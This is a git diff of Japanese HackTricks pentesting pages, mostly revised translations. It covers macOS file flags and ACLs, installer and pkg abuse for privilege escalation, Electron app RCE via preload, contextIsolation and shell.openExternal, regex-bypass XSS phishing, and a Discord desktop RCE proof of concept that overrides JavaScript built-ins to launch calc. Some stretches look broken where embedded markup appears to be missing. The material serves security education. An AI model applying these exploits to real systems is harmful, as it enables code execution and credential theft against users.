**`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> これにより、新しい共有ライブラリキャッシュをロードできます -* **`DYLD_SHARED_CACHE_DIR=avoid`** およびライブラリを実際のものにシンボリックリンクで置き換える(抽出する必要があります)ことで、共有キャッシュにシンボリックリンクを作成します。 +* **`DYLD_SHARED_CACHE_DIR=avoid`** およびライブラリを実際のものにシンボリックリンクで置き換える(これらを抽出する必要があります) ## 特別なファイル権限 ### フォルダの権限 -**フォルダ**では、**読み取り**は**リスト化**を可能にし、**書き込み**は**削除**および**ファイルの書き込み**を可能にし、**実行**は**ディレクトリをトラバース**することを可能にします。したがって、たとえば、ユーザーが**実行権限を持たない**ディレクトリ内のファイルに**読み取り権限を持つ**場合、そのユーザーはファイルを**読み取ることができません**。 +**フォルダ**では、**読み取り**は**リスト化**を許可し、**書き込み**は**削除**および**ファイルの書き込み**を許可し、**実行**は**ディレクトリをトラバース**することを許可します。したがって、たとえば、ユーザーが**実行権限を持たない**ディレクトリ内のファイルに**読み取り権限を持つ**場合、そのファイルを**読み取ることはできません**。 ### フラグ修飾子 ファイルに設定できるいくつかのフラグがあり、ファイルの動作を異なるものにします。`ls -lO /path/directory`でディレクトリ内のファイルのフラグを確認できます。 -* **`uchg`**:**uchange**フラグとして知られ、**ファイルの変更や削除を防ぎます**。設定するには:`chflags uchg file.txt` +* **`uchg`**:**uchange**フラグとして知られ、**ファイルの変更や削除を防止**します。設定するには:`chflags uchg file.txt` * ルートユーザーは**フラグを削除**してファイルを変更できます * **`restricted`**:このフラグはファイルを**SIPで保護**します(このフラグをファイルに追加することはできません)。 * **`Sticky bit`**:スティッキービットが設定されたディレクトリの場合、**ディレクトリの所有者またはルートのみがファイルの名前を変更または削除**できます。通常、これは/tmpディレクトリに設定され、通常のユーザーが他のユーザーのファイルを削除したり移動したりするのを防ぎます。 @@ -155,18 +155,18 @@ SLCが最初に使用されるとスライドされていても、すべての** * `UF_SETTABLE` 0x0000ffff:所有者変更可能フラグのマスク。 * `UF_NODUMP` 0x00000001:ファイルをダンプしない。 * `UF_IMMUTABLE` 0x00000002:ファイルを変更できません。 -* `UF_APPEND` 0x00000004:ファイルへの書き込みは追記のみ可能です。 +* `UF_APPEND` 0x00000004:ファイルへの書き込みは追記のみ可能。 * `UF_OPAQUE` 0x00000008:ディレクトリはunionに対して不透明です。 * `UF_COMPRESSED` 0x00000020:ファイルは圧縮されています(一部のファイルシステム)。 -* `UF_TRACKED` 0x00000040:この設定されたファイルの削除/名前変更に対する通知はありません。 +* `UF_TRACKED` 0x00000040:これが設定されているファイルの削除/名前変更に関する通知はありません。 * `UF_DATAVAULT` 0x00000080:読み取りおよび書き込みには権限が必要です。 * `UF_HIDDEN` 0x00008000:このアイテムはGUIに表示されないべきであることのヒント。 * `SF_SUPPORTED` 0x009f0000:スーパーユーザーがサポートするフラグのマスク。 * `SF_SETTABLE` 0x3fff0000:スーパーユーザーが変更可能なフラグのマスク。 * `SF_SYNTHETIC` 0xc0000000:システム読み取り専用合成フラグのマスク。 -* `SF_ARCHIVED` 0x00010000:ファイルはアーカイブされています。 +* `SF_ARCHIVED` 0x00010000:ファイルがアーカイブされています。 * `SF_IMMUTABLE` 0x00020000:ファイルを変更できません。 -* `SF_APPEND` 0x00040000:ファイルへの書き込みは追記のみ可能です。 +* `SF_APPEND` 0x00040000:ファイルへの書き込みは追記のみ可能。 * `SF_RESTRICTED` 0x00080000:書き込みには権限が必要です。 * `SF_NOUNLINK` 0x00100000:アイテムは削除、名前変更、またはマウントできません。 * `SF_FIRMLINK` 0x00800000:ファイルはfirmlinkです。 @@ -176,8 +176,8 @@ SLCが最初に使用されるとスライドされていても、すべての** ファイルの**ACL**には、異なるユーザーに対してより**細かい権限**を割り当てることができる**ACE**(アクセス制御エントリ)が含まれています。 -これらの権限をディレクトリに付与することが可能です:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\ -およびファイルに対して:`read`、`write`、`append`、`execute`。 +これらの権限を**ディレクトリ**に付与することができます:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\ +および**ファイル**に対して:`read`、`write`、`append`、`execute`。 ファイルにACLが含まれている場合、**権限をリスト表示する際に**「+」が表示されます。 ```bash @@ -190,7 +190,7 @@ ls -lde Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies 0: group:everyone deny delete ``` -次のコマンドを使用して、**すべてのACLを持つファイルを見つけることができます**(これは非常に遅いです): +あなたはこれで(これは非常に遅いですが)**ACLを持つすべてのファイルを見つけることができます**: ```bash ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` @@ -202,7 +202,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: " - `com.apple.quarantine`: MacOS: Gatekeeperの隔離メカニズム (III/6) - `metadata:*`: MacOS: `_backup_excludeItem`や`kMD*`などのさまざまなメタデータ - `com.apple.lastuseddate` (#PS): 最終ファイル使用日 -- `com.apple.FinderInfo`: MacOS: ファインダー情報 (例: カラータグ) +- `com.apple.FinderInfo`: MacOS: Finder情報 (例: カラータグ) - `com.apple.TextEncoding`: ASCIIテキストファイルのテキストエンコーディングを指定します - `com.apple.logd.metadata`: `/var/db/diagnostics`内のファイルでlogdによって使用されます - `com.apple.genstore.*`: 世代ストレージ (`/.DocumentRevisions-V100`はファイルシステムのルートにあります) @@ -214,7 +214,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ### リソースフォーク | macOS ADS -これは**MacOS**マシンで**Alternate Data Streams**を取得する方法です。**com.apple.ResourceFork**という拡張属性内にコンテンツを保存することで、**file/..namedfork/rsrc**に保存することができます。 +これは**MacOS**マシンで**Alternate Data Streams**を取得する方法です。ファイル内の**com.apple.ResourceFork**という拡張属性にコンテンツを保存することで、**file/..namedfork/rsrc**に保存できます。 ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc @@ -225,17 +225,19 @@ com.apple.ResourceFork: Hello Mac ADS ls -l a.txt #The file length is still q -rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt ``` -次のコマンドを使用して、この拡張属性を含むすべてのファイルを見つけることができます: +次のコマンドを使用して、この拡張属性を持つすべてのファイルを見つけることができます: {% code overflow="wrap" %} ```bash find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" ``` +{% endcode %} + ### decmpfs 拡張属性`com.apple.decmpfs`はファイルが暗号化されて保存されていることを示します。`ls -l`は**サイズが0**と報告し、圧縮されたデータはこの属性の中にあります。ファイルにアクセスするたびに、メモリ内で復号化されます。 -この属性は`ls -lO`で見ることができ、圧縮されたものは`UF_COMPRESSED`フラグでタグ付けされるため、圧縮されたファイルは圧縮されているとして示されます。圧縮されたファイルが削除されると、`chflags nocompressed `でこのフラグを削除すると、システムはファイルが圧縮されていたことを知らなくなり、そのためデータにアクセスできなくなります(実際には空であると思います)。 +この属性は`ls -lO`で見ることができ、圧縮されたものは`UF_COMPRESSED`フラグでタグ付けされるため、圧縮されたファイルは圧縮されているとして示されます。圧縮されたファイルが削除されると、`chflags nocompressed `でこのフラグを削除すると、システムはファイルが圧縮されていたことを認識せず、そのためデータにアクセスできなくなります(実際には空であると思われます)。 ツール`afscexpand`を使用してファイルを強制的に展開することができます。 @@ -247,15 +249,17 @@ Mac OSのバイナリは通常、**universal binaries**としてコンパイル [universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md) {% endcontent-ref %} -## macOS memory dumping +## macOS プロセスメモリ + +## macOS メモリダンピング {% content-ref url="macos-memory-dumping.md" %} [macos-memory-dumping.md](macos-memory-dumping.md) {% endcontent-ref %} -## Risk Category Files Mac OS +## Mac OSのリスクカテゴリファイル -ディレクトリ`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`には、**異なるファイル拡張子に関連するリスクに関する情報**が格納されています。このディレクトリはファイルをさまざまなリスクレベルに分類し、Safariがこれらのファイルをダウンロード後にどのように処理するかに影響を与えます。カテゴリは次のとおりです: +ディレクトリ`/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System`には、異なるファイル拡張子に関連する**リスクに関する情報**が格納されています。このディレクトリはファイルをさまざまなリスクレベルに分類し、Safariがこれらのファイルをダウンロード後にどのように処理するかに影響を与えます。カテゴリは次のとおりです: * **LSRiskCategorySafe**:このカテゴリのファイルは**完全に安全**と見なされます。Safariはこれらのファイルを自動的にダウンロード後に開きます。 * **LSRiskCategoryNeutral**:これらのファイルには警告がなく、Safariによって**自動的に開かれません**。 @@ -270,5 +274,5 @@ Mac OSのバイナリは通常、**universal binaries**としてコンパイル * **`$HOME/Library/Preferences/com.apple.recentitems.plist`**:最近アクセスしたファイルやFinderを介してアクセスしたアプリケーションが格納されています。 * **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**:システム起動時に起動するアイテムが格納されています。 * **`$HOME/Library/Logs/DiskUtility.log`**:DiskUtility Appのログファイル(USBを含むドライブに関する情報が含まれています)。 -* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**:ワイヤレスアクセスポイントに関するデータが含まれています。 +* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**:ワイヤレスアクセスポイントに関するデータ。 * **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**:無効になっているデーモンのリスト。 diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index 43a70fae2..44b40e74a 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -1,24 +1,24 @@ -# macOS Installersの悪用 +# macOSインストーラーの乱用
-htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。 -* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
## Pkgの基本情報 -macOSの**インストーラーパッケージ**(または`.pkg`ファイルとしても知られる)は、ソフトウェアを**配布**するためにmacOSが使用するファイル形式です。これらのファイルは、**ソフトウェアがインストールおよび正常に実行するために必要なすべてを含む箱のようなもの**です。 +macOSの**インストーラーパッケージ**(または`.pkg`ファイルとしても知られる)は、macOSが**ソフトウェアを配布**するために使用するファイル形式です。これらのファイルは、**ソフトウェアがインストールおよび正常に実行するために必要なすべてのものを含む箱のようなもの**です。 -パッケージファイル自体は、**ターゲットコンピュータにインストールされるファイルとディレクトリの階層**を保持するアーカイブです。また、**設定ファイルのセットアップやソフトウェアの古いバージョンのクリーンアップなど、インストール前およびインストール後のタスクを実行するスクリプト**も含めることができます。 +パッケージファイル自体は、**ターゲットコンピューターにインストールされるファイルとディレクトリの階層**を保持するアーカイブです。また、**設定ファイルのセットアップやソフトウェアの古いバージョンのクリーンアップなど、インストール前およびインストール後のタスクを実行するスクリプト**も含めることができます。 ### 階層 @@ -26,7 +26,7 @@ macOSの**インストーラーパッケージ**(または`.pkg`ファイル * **Distribution(xml)**: カスタマイズ(タイトル、ウェルカムテキストなど)およびスクリプト/インストールチェック * **PackageInfo(xml)**: 情報、インストール要件、インストール場所、実行するスクリプトへのパス -* **Bill of materials(bom)**: ファイルのリスト、ファイルのアクセス許可をインストール、更新、削除する +* **Bill of materials(bom)**: ファイルのリスト、ファイルのアクセス許可とともにインストール、更新、または削除する * **Payload(CPIOアーカイブgzip圧縮)**: PackageInfoから`install-location`にインストールするファイル * **Scripts(CPIOアーカイブgzip圧縮)**: インストール前およびインストール後のスクリプトおよび実行用に一時ディレクトリに展開されるその他のリソース。 @@ -49,14 +49,14 @@ cpio -i < Scripts DMGファイル、またはApple Disk Imagesは、AppleのmacOSで使用されるディスクイメージのファイル形式です。DMGファイルは基本的には**マウント可能なディスクイメージ**(独自のファイルシステムを含む)であり、通常は圧縮され、時には暗号化された生のブロックデータを含んでいます。DMGファイルを開くと、macOSはそれを物理ディスクとして**マウント**し、その内容にアクセスできるようにします。 {% hint style="danger" %} -**`.dmg`** インストーラは**多くの形式**をサポートしているため、過去には脆弱性を含むものが悪用され、**カーネルコードの実行**を取得するために悪用されたことに注意してください。 +**`.dmg`** インストーラは**多くの形式**をサポートしているため、過去には脆弱性を含むものが悪用され、**カーネルコードの実行**を取得するために使用されたことがあります。 {% endhint %} ### 階層 -
+
-DMGファイルの階層は、内容に基づいて異なる場合があります。ただし、アプリケーションのDMGの場合、通常は次の構造に従います。 +DMGファイルの階層は、内容に基づいて異なることがあります。ただし、アプリケーションのDMGの場合、通常は次の構造に従います。 - トップレベル:これはディスクイメージのルートです。通常、アプリケーションとmacOSのApplicationsフォルダへのリンクが含まれています。 - アプリケーション(.app):これが実際のアプリケーションです。macOSでは、アプリケーションは通常、アプリケーションを構成する多くの個々のファイルとフォルダを含むパッケージです。 @@ -66,13 +66,13 @@ DMGファイルの階層は、内容に基づいて異なる場合がありま ### 公開ディレクトリからの実行 -たとえば、事前または事後のインストールスクリプトが**`/var/tmp/Installerutil`**から実行されている場合、攻撃者がそのスクリプトを制御できると、実行されるたびに特権を昇格させることができます。また、別の類似の例: +たとえば、事前または事後のインストールスクリプトが**`/var/tmp/Installerutil`**から実行されている場合、攻撃者はそのスクリプトを制御できるため、実行されるたびに特権を昇格させることができます。また、別の類似の例:
https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

### AuthorizationExecuteWithPrivileges -これは、いくつかのインストーラやアップデータが**rootとして何かを実行**するために呼び出す[公開関数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg)です。この関数は、**実行するファイル**の**パス**をパラメータとして受け入れますが、攻撃者がこのファイルを**変更**できる場合、特権を昇格させるためにその実行を**悪用**することができます。 +これは、いくつかのインストーラやアップデータが**rootとして何かを実行**するために呼び出す[公開関数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg)です。この関数は、**実行するファイル**の**パス**をパラメータとして受け入れますが、攻撃者がこのファイルを**変更**できれば、特権を昇格させるためにその実行を**悪用**することができます。 ```bash # Breakpoint in the function to check wich file is loaded (lldb) b AuthorizationExecuteWithPrivileges @@ -80,7 +80,7 @@ DMGファイルの階層は、内容に基づいて異なる場合がありま ``` ### マウントによる実行 -もしインストーラが`/tmp/fixedname/bla/bla`に書き込む場合、`/tmp/fixedname`上に所有者がいないマウントを作成することが可能です。これにより、インストール中に**任意のファイルを変更**してインストールプロセスを悪用することができます。 +もしインストーラが`/tmp/fixedname/bla/bla`に書き込む場合、`/tmp/fixedname`上に所有者なしで**マウントを作成**することが可能です。これにより、インストール中に**任意のファイルを変更**してインストールプロセスを悪用することができます。 これの例としては、**CVE-2021-26089**があり、**定期スクリプトを上書き**してルートとして実行することに成功しました。詳細は以下のトークをご覧ください: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) @@ -88,13 +88,13 @@ DMGファイルの階層は、内容に基づいて異なる場合がありま ### 空のペイロード -単に**`.pkg`**ファイルを生成し、ペイロードなしで**事前および事後インストールスクリプト**を含めることが可能です。 +単に**`.pkg`**ファイルを生成し、**事前および事後インストールスクリプト**を含め、ペイロードを含めないことが可能です。 ### Distribution xml内のJS -パッケージのdistribution xmlファイルに**` ``` -
+
## RCE: preload -この設定で示されたスクリプトは、**レンダラー内の他のスクリプトよりも先にロード**されるため、**Node APIに無制限アクセス**を持ちます: +この設定で指定されたスクリプトは、**レンダラー内の他のスクリプトよりも先にロード**されるため、**Node APIに無制限アクセス**を持ちます: ```javascript new BrowserWindow{ webPreferences: { @@ -180,7 +180,7 @@ _**contextIsolation**_ は、**Web ページのスクリプトと JavaScript Ele 1. **レンダラー内で任意の JavaScript を実行**(XSS または外部サイトへの移動) 2. preload または Electron の内部コードで使用される**組み込みメソッドを上書き** -3. **上書きされた関数の使用をトリガー** +3. **上書きされた関数の使用**を**トリガー** 4. RCE? 組み込みメソッドを上書きできる場所は 2 か所あります:preload コードまたは Electron の内部コード: @@ -199,30 +199,30 @@ _**contextIsolation**_ は、**Web ページのスクリプトと JavaScript Ele ### クリックイベントのバイパス -リンクをクリックする際に制限が適用されている場合、通常の左クリックではなく**中クリック**を行うことでそれらをバイパスできるかもしれません +リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりに**中クリック**を行うことでそれらをバイパスできるかもしれません ```javascript window.addEventListener('click', (e) => { ``` ## shell.openExternalを介したRCE -この例についての詳細は、[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)と[https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)を参照してください。 +この例についての詳細は、[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)と[https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)を確認してください。 -Electronデスクトップアプリケーションを展開する際、`nodeIntegration`と`contextIsolation`の正しい設定を確保することが重要です。これらの設定が適切に行われている場合、preloadスクリプトやElectronのメインプロセスからの**クライアントサイドリモートコード実行(RCE)**が効果的に防止されることが確立されています。 +Electronデスクトップアプリケーションを展開する際には、`nodeIntegration`と`contextIsolation`の正しい設定を確保することが重要です。これらの設定があることで、preloadスクリプトやElectronのメインプロセスからの**クライアントサイドリモートコード実行(RCE)**が効果的に防止されることが確立されています。 -ユーザーがリンクに対話したり新しいウィンドウを開いたりする際に、特定のイベントリスナーがトリガーされ、これらはアプリケーションのセキュリティと機能性にとって重要です。 +ユーザーがリンクに対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、これらはアプリケーションのセキュリティと機能性にとって重要です。 ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -これらのリスナーは、デスクトップアプリケーションによって**オーバーライド**され、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くか外部のWebブラウザで開くかを評価します。この決定は通常、`openInternally`という関数を介して行われます。この関数が`false`を返すと、リンクは外部で開かれるべきであり、`shell.openExternal`関数を利用します。 +これらのリスナーは、デスクトップアプリケーションによって**オーバーライド**され、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くか外部のWebブラウザで開くかを評価します。この決定は通常、`openInternally`という関数を介して行われます。この関数が`false`を返すと、リンクは`shell.openExternal`関数を使用して外部で開かれるべきであることを示します。 **以下は簡略化された疑似コードです:** -![https://miro.medium.com/max/1400/1\*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (258).png>) +![https://miro.medium.com/max/1400/1\*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (261).png>) -![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (960).png>) +![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>) -Electron JSのセキュリティベストプラクティスでは、`openExternal`関数を使用して信頼されていないコンテンツを受け入れることを避けることが推奨されています。これは、さまざまなプロトコルを介してRCEにつながる可能性があるためです。オペレーティングシステムは、この脆弱性を悪用する可能性のあるさまざまなプロトコルをサポートしています。このトピックに関する詳細な例や説明については、[このリソース](https://positive.security/blog/url-open-rce#windows-10-19042)を参照してください。このリソースには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。 +Electron JSのセキュリティベストプラクティスでは、`openExternal`関数で信頼されていないコンテンツを受け入れないことが推奨されています。さまざまなプロトコルを介してRCEにつながる可能性があります。オペレーティングシステムは、この脆弱性を悪用する可能性のあるさまざまなプロトコルをサポートしています。このトピックに関する詳細な例や説明については、[このリソース](https://positive.security/blog/url-open-rce#windows-10-19042)を参照してください。これには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。 **Windowsプロトコルの脆弱性の例には、次のものがあります:** ```html @@ -260,16 +260,16 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body ## **内部 URL 正規表現バイパスを介した XSS フィッシング** -XSS を見つけたが、**RCE をトリガーできず内部ファイルを盗むことができない** 場合、それを使用して **フィッシングを介して資格情報を盗む** ことを試してみることができます。 +XSS を見つけたが、**RCE をトリガーできず内部ファイルを盗むことができない** 場合、それを使用して **フィッシングを通じて資格情報を盗む** ことを試してみることができます。 まず、新しい URL を開こうとすると何が起こるかを知る必要があります。フロントエンドの JS コードをチェックしてください: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -**`openInternally`**の呼び出しは、そのリンクがプラットフォームに属するリンクであるため、**デスクトップウィンドウ**で開かれるか、**サードパーティのリソースとして**ブラウザで開かれるかを決定します。 +**`openInternally`**の呼び出しは、そのリンクがプラットフォームに属するリンクであるため、**デスクトップウィンドウ**で開かれるか、**サードパーティのリソースとしてブラウザで開かれるか**を決定します。 -関数によって使用される**正規表現**が**バイパスされやすい**場合(たとえば、**サブドメインのドットをエスケープしない**場合)、攻撃者はXSSを悪用して、ユーザーに**資格情報を要求する**攻撃者のインフラストラクチャにある**新しいウィンドウを開く**ことができます。 +関数によって使用される**正規表現**が**バイパスに脆弱**である場合(たとえば、**サブドメインのドットをエスケープしない**場合)、攻撃者はXSSを悪用して、**ユーザーに資格情報を要求する**攻撃者のインフラストラクチャにある**新しいウィンドウを開く**ことができます。 ```html ``` -```plaintext -`SAFE_PROTOCOLS.indexOf` への呼び出しは常に 1337 を返すため、攻撃者は保護をバイパスして calc を実行できます。最終的なエクスプロイト: -``` +攻撃者は、`SAFE_PROTOCOLS.indexOf`への呼び出しは常に1337を返すため、保護をバイパスしてcalcを実行できます。最終的なエクスプロイト: ```html CLICK ``` -他の方法を確認して、許可を求めるプロンプトが表示されないままプログラムを実行する方法を確認してください。 +他の方法を確認して、許可を求めるプロンプトなしにプログラムを実行する方法を確認してください。 おそらく、コードをロードして実行する別の方法は、`file://127.0.0.1/electron/rce.jar`のようなものにアクセスすることです。 ## 例2: DiscordアプリRCE -例: [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) +[https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)からの例 -preloadスクリプトをチェックすると、DiscordがWebページに`DiscordNative.nativeModules.requireModule('MODULE-NAME')`を介して呼び出される許可されたモジュールを公開していることがわかりました。\ -ここでは、_child\_process_モジュールなど、RCEに直接使用できるモジュールは使用できませんでしたが、**JavaScriptの組み込みメソッドをオーバーライドし、公開されたモジュールの実行に干渉することでRCEを達成できるコードを見つけました**。 +preloadスクリプトをチェックすると、DiscordがWebページに`DiscordNative.nativeModules.requireModule('MODULE-NAME')`を介して呼び出される許可されたモジュールを許可する関数を公開していることがわかりました。\ +ここでは、_child\_process_モジュールなど、RCEに直接使用できるモジュールを使用することはできませんでしたが、**JavaScriptの組み込みメソッドをオーバーライドし、公開されたモジュールの実行に干渉することでRCEを達成できるコードを見つけました**。 以下はPoCです。**`RegExp.prototype.test`と`Array.prototype.join`をオーバーライド**しながら、"_discord\_utils_"というモジュールで定義された`getGPUDriverVersions`関数をdevToolsから呼び出すと、**calcアプリケーションが表示される**ことを確認できました。 ```javascript @@ -64,7 +62,7 @@ return "calc"; } DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); ``` -`getGPUDriverVersions` 関数は、以下のように "_execa_" ライブラリを使用してプログラムを実行しようとします: +`getGPUDriverVersions` 関数は、以下のように "_execa_" ライブラリを使用してプログラムを実行しようとします: ```javascript module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { @@ -83,7 +81,9 @@ result.nvidia = {error: e.toString()}; return result; }; ``` -通常、_execa_は`nvidiaSmiPath`変数で指定された"_nvidia-smi.exe_"を実行しようとしますが、`RegExp.prototype.test`と`Array.prototype.join`が上書きされているため、**引数は"_calc_"に置き換えられます。具体的には、次の2つの部分を変更することで引数が置き換えられます。 +通常、_execa_は`nvidiaSmiPath`変数で指定された"_nvidia-smi.exe_"を実行しようとしますが、`RegExp.prototype.test`と`Array.prototype.join`が上書きされたため、**引数は"_calc_"に置き換えられます。** + +具体的には、引数は次の2つの部分を変更することで置き換えられます。 [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) @@ -93,12 +93,12 @@ return result; htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでのAWSハッキングを学ぶ -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する +* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する diff --git a/network-services-pentesting/pentesting-web/flask.md b/network-services-pentesting/pentesting-web/flask.md index 2a70a1242..fc41b834a 100644 --- a/network-services-pentesting/pentesting-web/flask.md +++ b/network-services-pentesting/pentesting-web/flask.md @@ -2,21 +2,21 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 